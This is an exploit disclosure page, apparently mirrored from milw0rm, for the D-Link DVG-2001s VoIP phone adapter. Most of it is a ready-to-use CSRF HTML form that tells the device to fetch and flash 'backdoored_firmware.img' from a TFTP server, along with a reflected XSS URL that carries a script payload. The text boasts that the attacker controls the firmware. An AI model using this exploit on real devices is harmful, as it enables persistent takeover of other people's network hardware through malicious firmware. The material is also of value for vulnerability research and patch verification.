D-Link VoIP Phone Adapter - XSS/CSRF Remote Firmware Overwrite

🗓️ 01 Jul 2014 00:00:00Reported by RootType

D-Link VoIP Phone Adapter XSS/CSRF Remote Firmware Overwrite DVG-2001s f/w v1.00.00


                                                D-link VoIP Phone Adapter XSS and XSRF(remote firmware overwrite)
model number: DVG-2001s
f/w version 1.00.007

Better than just remote code execution,  you control the firmware.

&#60;html&#62;
	&#60;form action=&#34;http://10.1.1.166/Forms/cbi_Set_SW_Update?16640,0,0,0,0,0,0,0,0&#34;
method=&#34;POST&#34;&#62;
		&#60;input name=&#34;page_HiddenVar&#34; value=&#34;0&#34;&#62;
		&#60;input name=&#34;TFTPServerAddress1&#34; value=&#34;10&#34;&#62;
		&#60;input name=&#34;TFTPServerAddress2&#34; value=&#34;1&#34;&#62;
		&#60;input name=&#34;TFTPServerAddress3&#34; value=&#34;1&#34;&#62;
		&#60;input name=&#34;TFTPServerAddress4&#34; value=&#34;1&#34;&#62;
		&#60;input name=&#34;FirmwareUpdate&#34; value=&#34;enabled&#34;&#62;
		&#60;input name=&#34;FileName&#34; value=&#34;backdoored_firmware.img&#34;&#62;
		&#60;input type=submit value=&#34;attack&#34;&#62;
	&#60;/form&#62;
&#60;/html&#62;
and xss which can be used for csrf bypass:
http://10.1.1.166/Forms/page_CfgDevInfo_Set?%3Cscript%3Ealert(%22hacked%22)%3C/script%3E

# milw0rm.com [2009-01-29]

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1